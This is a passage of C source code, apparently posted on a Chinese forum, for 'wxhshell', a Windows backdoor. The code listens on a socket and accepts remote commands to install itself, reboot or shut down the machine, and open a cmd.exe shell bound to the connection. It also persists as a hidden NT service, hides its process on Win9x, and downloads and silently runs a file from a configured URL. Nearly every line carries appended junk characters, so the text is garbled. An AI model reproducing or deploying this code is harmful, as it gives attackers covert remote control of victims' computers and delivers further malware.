    switch(cmd[0]) { c.{&~  
  eZod}~J8  
  // 帮助 O"^a.`27  
  case '?': { WKIiJ{@L  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); "`3 ^M vC  
    break; AB &wn>q  
  } oJJ k  
  // 安装 /e?ux~f|  
  case 'i': { A{Htpm~  
    if(Install()) 3&nc'  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Nx (pJp{S  
    else vgW1hWmHJ  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); p,u<g JUL  
    break; [O+^eE6h  
    } o4 g  
  // 卸载 "X(=  
  case 'r': { iN4'jD^oP  
    if(Uninstall()) V\`= "  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YB3=ij!K  
    else f uN XY-;  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); g7z9i[  
    break; )zt4'b\)v  
    } TIh zMW\/K  
  // 显示 wxhshell 所在路径 A}Dpw[Q2@8  
  case 'p': { r4ttEJ-jG  
    char svExeFile[MAX_PATH]; 10 H!  
    strcpy(svExeFile,"\n\r"); LqsJHG  
      strcat(svExeFile,ExeFile); sfPN\^k2  
        send(wsh,svExeFile,strlen(svExeFile),0); 7-IeJ6,D  
    break; khIa9Nm  
    } N_Ld,J%g  
  // 重启 <a[8;YQC  
  case 'b': { []3}(8yxGb  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); `srZ#F5  
    if(Boot(REBOOT)) [IBk-opap  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T|2%b*/  
    else { VX[!Vh  
    closesocket(wsh); -86:PL(I"  
    ExitThread(0); P}QbxkS 8  
    } Byj~\QMD|  
    break; []!r|R3  
    } "$pg mf2  
  // 关机 rg/vxTl  
  case 'd': {  A;x^6>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); u`@FA?+E1  
    if(Boot(SHUTDOWN)) ;O|63  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m e{SVG{  
    else { \U>Kn_7m  
    closesocket(wsh); J}\]<aC  
    ExitThread(0); ah9',((!  
    } QXj(U&#rp  
    break;  " 1Aus  
    } l8Qi^<i/  
  // 获取shell 't.F.t  
  case 's': { |raQ]b@t&  
    CmdShell(wsh); r!,V_a4n  
    closesocket(wsh); + aqo8'a  
    ExitThread(0); Nb/%>3O@  
    break; zRFM/IYC  
  } &~f_1<  
  // 退出 >{Z=cv/6o  
  case 'x': { *S_Iza #&x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); !OgoV22  
    CloseIt(wsh); p,Hk"DSs%  
    break; IuW10}"9  
    } AI;=k  
  // 离开 Ps\^OJR  
  case 'q': { @{lnfOESl  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); V7_??L%Ct`  
    closesocket(wsh); 7*"LW  
    WSACleanup(); We?:DM [  
    exit(1); B{ "<\g  
    break; =T$- #bA)  
        } ]]3D` F}  
  } ayp}TYh*  
  } hGV/P94  
vrbh+  
  // 提示信息 EdpR| z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); e r$'c  
} 54w-yY  
  } HXI}f\6x  
i>2_hn_UR  
  return; 4PQWdPv;  
} Q>$L;1E*,  
GNOC5 E$I  
// shell模块句柄 ,qB081hPG  
int CmdShell(SOCKET sock) Dzr5qP?#  
{ =w-H )  
STARTUPINFO si; :^a$ve3(Jq  
ZeroMemory(&si,sizeof(si)); |=s3a5sl  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ( Iew%U  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; qa6~N3*  
PROCESS_INFORMATION ProcessInfo; 7ZZt|bl  
char cmdline[]="cmd"; HrGX-6`  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); bAp`lmFI  
  return 0; S}X:LHr*  
} .U_=LV]C  
Gj3/&'k6  
// 自身启动模式 RMK U5A7  
int StartFromService(void) *Y Ox`z!R  
{ 1~ Nz6  
typedef struct ,dBI=D'  
{ ikQ2x]Sp  
  DWORD ExitStatus; )f Rh^6  
  DWORD PebBaseAddress; . {I7sUQ  
  DWORD AffinityMask; qb&*,zN  
  DWORD BasePriority; GcuZPIN%D  
  ULONG UniqueProcessId; yFG&Ir  
  ULONG InheritedFromUniqueProcessId; h*LIS@&9C5  
}   PROCESS_BASIC_INFORMATION; 5 *_#"  
#Z :r  
PROCNTQSIP NtQueryInformationProcess; y+a&swd2(U  
1a<~Rmcil  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; &3<]FK  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; =E}/Z  
k4v[2y`  
  HANDLE             hProcess; +Ji dP  
  PROCESS_BASIC_INFORMATION pbi; eo!z>9#.  
n" sGI  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); ~&kV  
  if(NULL == hInst ) return 0; o%:eYl  
/-T%yuU  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "2mVW_k  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA");  l}JVRU{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 4"{q|~&=:$  
VuGSP]$q  
  if (!NtQueryInformationProcess) return 0; 9E5B.qlw$l  
AWw'pgTQX  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); "'%x|nB  
  if(!hProcess) return 0; 7 UR)4dYA  
Ks4TBi&J   
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !T}`h'  
Mvux=Ws  
  CloseHandle(hProcess); /Mv'fich(  
--FvE|I  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); *N7\d9y  
if(hProcess==NULL) return 0; gCmGFQE-f  
rS=6d6@  
HMODULE hMod; ^VA)vLj@  
char procName[255]; NFQ0/iuW  
unsigned long cbNeeded; epQ7@9,Q  
+ EM '-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); yY}`G-)g~*  
t<4+CC2H  
  CloseHandle(hProcess); 7JbN WN  
fSj^/>  
if(strstr(procName,"services")) return 1; // 以服务启动 Ba"Z^(:  
<3i!{"}  
  return 0; // 注册表启动 /Z^+K  
} &`@K/Nf$9  
,$*$w<  
// 主模块 XWkYhTaY  
int StartWxhshell(LPSTR lpCmdLine) kc}e},k  
{ +?%huJYK,  
  SOCKET wsl; #fQStO  
BOOL val=TRUE; y8\44WKW  
  int port=0; d35,[  
  struct sockaddr_in door; bEM-^SR  
0 j6/H?OT  
  if(wscfg.ws_autoins) Install(); f)>=.sp  
RK|C*TCnl  
port=atoi(lpCmdLine); vFQ'sd]C  
Q~nc:eWD  
if(port<=0) port=wscfg.ws_port; l2xM.vR  
jfk`%C Ek=  
  WSADATA data; 90;[5c   
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; yKi* 8N"e<  
h&&ufF]D  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ?,]25q   
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); @Kp2l<P  
  door.sin_family = AF_INET; TC'tui  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); sk 9*3d5I  
  door.sin_port = htons(port); G >bQlZG  
PC/Oo~Gx  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { NeQ/#[~g  
closesocket(wsl); IF<pT)  
return 1; F8f@^LVM/  
} 2]hQ56Yv3  
ml\A)8O]j/  
  if(listen(wsl,2) == INVALID_SOCKET) { .cjSgK1  
closesocket(wsl); >HXT:0  
return 1; fQM:NI? 9?  
} YRqIC -_  
  Wxhshell(wsl); 6Gwk*%sb  
  WSACleanup(); NZ7g}+GTG  
:>]= YE  
return 0; /{6PwlP5  
-)PQ&[  
} !ffdeWHR  
wknX\,`Q  
// 以NT服务方式启动 h,"K+$  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J4&d6[40  
{ kZfa8w L]P  
DWORD   status = 0; 8c3Qd  
  DWORD   specificError = 0xfffffff; x4Q*~,n  
>+ul LQqe  
  serviceStatus.dwServiceType     = SERVICE_WIN32; W1fEUVj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ~bC{ R&p  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 9!&fak _  
  serviceStatus.dwWin32ExitCode     = 0; G(" S6u  
  serviceStatus.dwServiceSpecificExitCode = 0; qj/ pd 7\  
  serviceStatus.dwCheckPoint       = 0; fMgB!y"Em  
  serviceStatus.dwWaitHint       = 0; 2dg+R)%  
)RG@D\t,  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); a\;Vly;  
  if (hServiceStatusHandle==0) return; Q8OA{EUtq  
|*W_  
status = GetLastError(); bis}zv^%v  
  if (status!=NO_ERROR) LX;w~fRr.  
{ 7L)edR [  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; o}O"  
    serviceStatus.dwCheckPoint       = 0; mCah{~  
    serviceStatus.dwWaitHint       = 0; )lh48Ag0t;  
    serviceStatus.dwWin32ExitCode     = status; Va"H.]  
    serviceStatus.dwServiceSpecificExitCode = specificError; nE;^xMOK!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); "x~VXU%xU  
    return; |[qq $  
  } A8tzIh8  
7m='-_w)?w  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ,6T F]6:  
  serviceStatus.dwCheckPoint       = 0; c$fi3O  
  serviceStatus.dwWaitHint       = 0; 0oR'"Vo  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Zfwhg4G~  
} F9h'.{@d  
f 0"N  
// 处理NT服务事件,比如:启动、停止 4PdJ  
VOID WINAPI NTServiceHandler(DWORD fdwControl) Fs+ CY  
{ o9GtS$ O\  
switch(fdwControl) ,yPs4',d  
{ (S<Z@y+d  
case SERVICE_CONTROL_STOP: w2 %u;D%  
  serviceStatus.dwWin32ExitCode = 0; MX*T.TG8  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; MC\rx=cR\  
  serviceStatus.dwCheckPoint   = 0; ayGYVYi  
  serviceStatus.dwWaitHint     = 0; b{+7sl  
  { ahJ -T@  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); /xS4>@hn  
  } pk>p|q  
  return; X1wlOE  
case SERVICE_CONTROL_PAUSE: SK][UxoHm  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; =@ SJyW  
  break; @$:T]N3m  
case SERVICE_CONTROL_CONTINUE: y"bSn5B[  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ;pH&YBY  
  break; yiT)m]E d  
case SERVICE_CONTROL_INTERROGATE: k 'CM^,F&  
  break; _R/^P>Q?  
}; KCDbE6  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @Yzdq\FI  
} :NCY6? [Dz  
r:.ydr@  
// 标准应用程序主函数 k_,wa]ws$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) \jR('5DcB  
{ &7 0o4~Fr  
N'5AU (  
// 获取操作系统版本 K-<kp!v  
OsIsNt=GetOsVer(); $T#yxx  
GetModuleFileName(NULL,ExeFile,MAX_PATH); %B#(d)T*-  
B8G9V6KS-  
  // 从命令行安装 *X%dg$VcV  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9y$"[d27;+  
 0m&  
  // 下载执行文件 )8,)&F  
if(wscfg.ws_downexe) { p?Rq  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) bdxmJ9a:R  
  WinExec(wscfg.ws_filenam,SW_HIDE); H?H(=  
} Yw!(]8PYdU  
Zqp<8M2  
if(!OsIsNt) { q@+#CUa&n  
// 如果时win9x,隐藏进程并且设置为注册表启动 qX_( M2oLU  
HideProc(); _+0Q Q{'N  
StartWxhshell(lpCmdLine); Q>QES-.l  
} Qzh`x-S  
else wI{ED  
  if(StartFromService()) aP`[O]8j  
  // 以服务方式启动 %=PGvu  
  StartServiceCtrlDispatcher(DispatchTable); uG:xd0X+W  
else VNggDKS~K  
  // 普通方式启动 iC`mj  
  StartWxhshell(lpCmdLine); wJ}9(>id*  
m|8ljXX  
return 0; tUrwg  
}
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只看该作者 1 发表于: 2006-10-10
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